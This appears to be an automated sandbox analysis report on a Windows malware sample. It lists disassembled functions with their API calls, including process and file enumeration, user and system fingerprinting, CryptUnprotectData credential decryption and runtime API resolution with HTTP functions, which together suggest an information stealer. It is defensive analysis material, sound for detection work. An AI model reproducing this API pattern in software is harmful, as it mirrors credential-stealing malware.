Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 930f8409193d3d6c7a5c0c67f3d5bbe03012c8596ef149ce3ff6cf2261075416
Instruction ID: 0728db3486261cff9a258997ae2cafecd7d584ec107a338bff12bb15918c0e56
Opcode Fuzzy Hash: 930f8409193d3d6c7a5c0c67f3d5bbe03012c8596ef149ce3ff6cf2261075416
Instruction Fuzzy Hash: 401272B191010E9ADB18FB60DC9AEFD7738BF94340F4041A8B60E56095EE786F49CB93

Function 005F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005F961E
Process32First.KERNEL32(00600ACA,00000128), ref: 005F9632
Process32Next.KERNEL32(00600ACA,00000128), ref: 005F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 005F965C
CloseHandle.KERNEL32(00600ACA), ref: 005F967A

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e7e9dedf1d74335e470326ac317dbe2daef3330adc0e84037a5555b1245dd5ea
Instruction ID: 2b2f13bfa180fba1774d6cabf45a1df3e81b99df9edff15e1a24cb1c61e878ac
Opcode Fuzzy Hash: e7e9dedf1d74335e470326ac317dbe2daef3330adc0e84037a5555b1245dd5ea
Instruction Fuzzy Hash: 37010C75A00208EBCB24DFA5CD48BEDBBF8FF48700F108598AA05E6240DB349B45CF51

Function 005F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0164DA40,00000000,?,00600E10,00000000,?,00000000,00000000), ref: 005F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 005F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0164DA40,00000000,?,00600E10,00000000,?,00000000,00000000,?), ref: 005F7A7D
wsprintfA.USER32 ref: 005F7AB7

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: bc586ce0ba3250c570229b588767e81cf224c481446d4028d956b16d68295f37
Instruction ID: 86df9c1a8a9fa5346c73ef7023fa9b933fb2ecf4022156a54d7ba4929e381f3f
Opcode Fuzzy Hash: bc586ce0ba3250c570229b588767e81cf224c481446d4028d956b16d68295f37
Instruction Fuzzy Hash: B31182B1945218DBEB248F54DC45F6ABB78FB04711F1047A6EA06932C0D7745A41CF51

Function 005E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 005E9BA3
LocalFree.KERNEL32(?), ref: 005E9BD3

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 8b25ec73c135ea4df73df73fd6aa0fb27bd424019ab85feb9e80ee57806ed04d
Instruction ID: bc3ac5765312cc6918223a47e2c9c77eafed9ac40870de473ade26ecb66b4fc7
Opcode Fuzzy Hash: 8b25ec73c135ea4df73df73fd6aa0fb27bd424019ab85feb9e80ee57806ed04d
Instruction Fuzzy Hash: 4B11CCB4A00209DFDB04DF94D985AAE77F9FF88300F108569E915A7350D774AE51CFA1

Function 005F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: fed4931e966a68f666d0b2f33f866a6d8d123ea0dba7cae30750166367371fee
Instruction ID: b38d19e0b4155d3a6e8adf3b1255af9322084b6d392f048f9a85e842adbb9b2a
Opcode Fuzzy Hash: fed4931e966a68f666d0b2f33f866a6d8d123ea0dba7cae30750166367371fee
Instruction Fuzzy Hash: A4F04FB1944208AFC714DF98DD49FAEBBB8FB08711F10466AFA05A2680C77915058BA1

Function 005E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 005E116A
ExitProcess.KERNEL32 ref: 005E117E

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3b7ce8ec7ace62a059862e2b7f31c2c29aaf4a04d1584e26fe461ac45e7663df
Instruction ID: d3c2657d10ff2ee609a988374e38e7808ae64f990fd3310c1bf85159bf243562
Opcode Fuzzy Hash: 3b7ce8ec7ace62a059862e2b7f31c2c29aaf4a04d1584e26fe461ac45e7663df
Instruction Fuzzy Hash: EBD05E7490030CDFCB18DFE0DC496EDBB78FB08311F000594D94562340EA305482CAAA

Function 005F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01636780), ref: 005F9C2D
GetProcAddress.KERNEL32(75900000,016367A0), ref: 005F9C45
GetProcAddress.KERNEL32(75900000,01648F88), ref: 005F9C5E
GetProcAddress.KERNEL32(75900000,01648EF8), ref: 005F9C76
GetProcAddress.KERNEL32(75900000,0164CB50), ref: 005F9C8E
GetProcAddress.KERNEL32(75900000,0164CD60), ref: 005F9CA7
GetProcAddress.KERNEL32(75900000,0163B5B8), ref: 005F9CBF
GetProcAddress.KERNEL32(75900000,0164CC88), ref: 005F9CD7
GetProcAddress.KERNEL32(75900000,0164CD00), ref: 005F9CF0
GetProcAddress.KERNEL32(75900000,0164CBE0), ref: 005F9D08
GetProcAddress.KERNEL32(75900000,0164CB98), ref: 005F9D20
GetProcAddress.KERNEL32(75900000,016367C0), ref: 005F9D39
GetProcAddress.KERNEL32(75900000,01636800), ref: 005F9D51
GetProcAddress.KERNEL32(75900000,01636940), ref: 005F9D69
GetProcAddress.KERNEL32(75900000,01636840), ref: 005F9D82
GetProcAddress.KERNEL32(75900000,0164CBF8), ref: 005F9D9A
GetProcAddress.KERNEL32(75900000,0164CCD0), ref: 005F9DB2
GetProcAddress.KERNEL32(75900000,0163B608), ref: 005F9DCB
GetProcAddress.KERNEL32(75900000,01636860), ref: 005F9DE3
GetProcAddress.KERNEL32(75900000,0164CDC0), ref: 005F9DFB
GetProcAddress.KERNEL32(75900000,0164CC10), ref: 005F9E14
GetProcAddress.KERNEL32(75900000,0164CC70), ref: 005F9E2C
GetProcAddress.KERNEL32(75900000,0164CBB0), ref: 005F9E44
GetProcAddress.KERNEL32(75900000,01636880), ref: 005F9E5D
GetProcAddress.KERNEL32(75900000,0164CC58), ref: 005F9E75
GetProcAddress.KERNEL32(75900000,0164CDA8), ref: 005F9E8D
GetProcAddress.KERNEL32(75900000,0164CC28), ref: 005F9EA6
GetProcAddress.KERNEL32(75900000,0164CB68), ref: 005F9EBE
GetProcAddress.KERNEL32(75900000,0164CC40), ref: 005F9ED6
GetProcAddress.KERNEL32(75900000,0164CB80), ref: 005F9EEF
GetProcAddress.KERNEL32(75900000,0164CCA0), ref: 005F9F07
GetProcAddress.KERNEL32(75900000,0164CCB8), ref: 005F9F1F
GetProcAddress.KERNEL32(75900000,0164CBC8), ref: 005F9F38
GetProcAddress.KERNEL32(75900000,01649A98), ref: 005F9F50
GetProcAddress.KERNEL32(75900000,0164CD90), ref: 005F9F68
GetProcAddress.KERNEL32(75900000,0164CCE8), ref: 005F9F81
GetProcAddress.KERNEL32(75900000,01636960), ref: 005F9F99
GetProcAddress.KERNEL32(75900000,0164CDD8), ref: 005F9FB1
GetProcAddress.KERNEL32(75900000,016369A0), ref: 005F9FCA
GetProcAddress.KERNEL32(75900000,0164CD18), ref: 005F9FE2
GetProcAddress.KERNEL32(75900000,0164CD30), ref: 005F9FFA
GetProcAddress.KERNEL32(75900000,016365A0), ref: 005FA013
GetProcAddress.KERNEL32(75900000,016364C0), ref: 005FA02B
LoadLibraryA.KERNEL32(0164CAF0,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA03D
LoadLibraryA.KERNEL32(0164CD48,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA04E
LoadLibraryA.KERNEL32(0164CD78,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA060
LoadLibraryA.KERNEL32(0164CB08,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA072
LoadLibraryA.KERNEL32(0164CB20,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA083
LoadLibraryA.KERNEL32(0164CB38,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA095
LoadLibraryA.KERNEL32(0164CE50,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA0A7
LoadLibraryA.KERNEL32(0164CF10,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA0B8
GetProcAddress.KERNEL32(75FD0000,01636360), ref: 005FA0DA
GetProcAddress.KERNEL32(75FD0000,0164CF88), ref: 005FA0F2
GetProcAddress.KERNEL32(75FD0000,01648810), ref: 005FA10A
GetProcAddress.KERNEL32(75FD0000,0164CDF0), ref: 005FA123
GetProcAddress.KERNEL32(75FD0000,01636560), ref: 005FA13B
GetProcAddress.KERNEL32(734B0000,0163AE88), ref: 005FA160
GetProcAddress.KERNEL32(734B0000,016363C0), ref: 005FA179
GetProcAddress.KERNEL32(734B0000,0163AF00), ref: 005FA191
GetProcAddress.KERNEL32(734B0000,0164CF28), ref: 005FA1A9
GetProcAddress.KERNEL32(734B0000,0164CE08), ref: 005FA1C2
GetProcAddress.KERNEL32(734B0000,01636440), ref: 005FA1DA
GetProcAddress.KERNEL32(734B0000,016362E0), ref: 005FA1F2
GetProcAddress.KERNEL32(734B0000,0164CF40), ref: 005FA20B
GetProcAddress.KERNEL32(763B0000,01636600), ref: 005FA22C
GetProcAddress.KERNEL32(763B0000,016364E0), ref: 005FA244
GetProcAddress.KERNEL32(763B0000,0164CF58), ref: 005FA25D
GetProcAddress.KERNEL32(763B0000,0164CE98), ref: 005FA275
GetProcAddress.KERNEL32(763B0000,01636340), ref: 005FA28D
GetProcAddress.KERNEL32(750F0000,0163B108), ref: 005FA2B3
GetProcAddress.KERNEL32(750F0000,0163B2C0), ref: 005FA2CB
GetProcAddress.KERNEL32(750F0000,0164CE20), ref: 005FA2E3
GetProcAddress.KERNEL32(750F0000,01636580), ref: 005FA2FC
GetProcAddress.KERNEL32(750F0000,016363E0), ref: 005FA314
GetProcAddress.KERNEL32(750F0000,0163AF28), ref: 005FA32C
GetProcAddress.KERNEL32(75A50000,0164CE38), ref: 005FA352
GetProcAddress.KERNEL32(75A50000,01636280), ref: 005FA36A
GetProcAddress.KERNEL32(75A50000,016487F0), ref: 005FA382
GetProcAddress.KERNEL32(75A50000,0164CE68), ref: 005FA39B
GetProcAddress.KERNEL32(75A50000,0164CEB0), ref: 005FA3B3
GetProcAddress.KERNEL32(75A50000,01636640), ref: 005FA3CB
GetProcAddress.KERNEL32(75A50000,016362C0), ref: 005FA3E4
GetProcAddress.KERNEL32(75A50000,0164CE80), ref: 005FA3FC
GetProcAddress.KERNEL32(75A50000,0164CFA0), ref: 005FA414
GetProcAddress.KERNEL32(75070000,016362A0), ref: 005FA436
GetProcAddress.KERNEL32(75070000,0164CEC8), ref: 005FA44E
GetProcAddress.KERNEL32(75070000,0164CEE0), ref: 005FA466
GetProcAddress.KERNEL32(75070000,0164CEF8), ref: 005FA47F
GetProcAddress.KERNEL32(75070000,0164CF70), ref: 005FA497
GetProcAddress.KERNEL32(74E50000,016364A0), ref: 005FA4B8
GetProcAddress.KERNEL32(74E50000,01636380), ref: 005FA4D1
GetProcAddress.KERNEL32(75320000,01636520), ref: 005FA4F2
GetProcAddress.KERNEL32(75320000,0164CA60), ref: 005FA50A
GetProcAddress.KERNEL32(6F060000,016363A0), ref: 005FA530
GetProcAddress.KERNEL32(6F060000,01636540), ref: 005FA548
GetProcAddress.KERNEL32(6F060000,01636400), ref: 005FA560
GetProcAddress.KERNEL32(6F060000,0164CAC0), ref: 005FA579
GetProcAddress.KERNEL32(6F060000,01636480), ref: 005FA591
GetProcAddress.KERNEL32(6F060000,016365C0), ref: 005FA5A9
GetProcAddress.KERNEL32(6F060000,01636660), ref: 005FA5C2
GetProcAddress.KERNEL32(6F060000,01636460), ref: 005FA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 005FA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 005FA607
GetProcAddress.KERNEL32(74E00000,0164CA78), ref: 005FA629
GetProcAddress.KERNEL32(74E00000,01648840), ref: 005FA641
GetProcAddress.KERNEL32(74E00000,0164CA00), ref: 005FA659
GetProcAddress.KERNEL32(74E00000,0164C7F0), ref: 005FA672
GetProcAddress.KERNEL32(74DF0000,016365E0), ref: 005FA693
GetProcAddress.KERNEL32(6F9C0000,0164C8B0), ref: 005FA6B4
GetProcAddress.KERNEL32(6F9C0000,01636500), ref: 005FA6CD
GetProcAddress.KERNEL32(6F9C0000,0164C820), ref: 005FA6E5
GetProcAddress.KERNEL32(6F9C0000,0164C9D0), ref: 005FA6FD

Strings

HttpQueryInfoA, xrefs: 005FA5FC
InternetSetOptionA, xrefs: 005FA5E5

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
